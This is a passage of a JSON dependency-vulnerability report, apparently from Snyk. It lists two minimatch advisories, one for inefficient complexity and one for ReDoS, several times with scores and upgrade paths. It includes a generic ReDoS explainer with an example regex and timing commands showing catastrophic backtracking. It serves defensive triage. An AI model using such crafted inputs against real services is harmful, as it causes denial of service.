"packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines 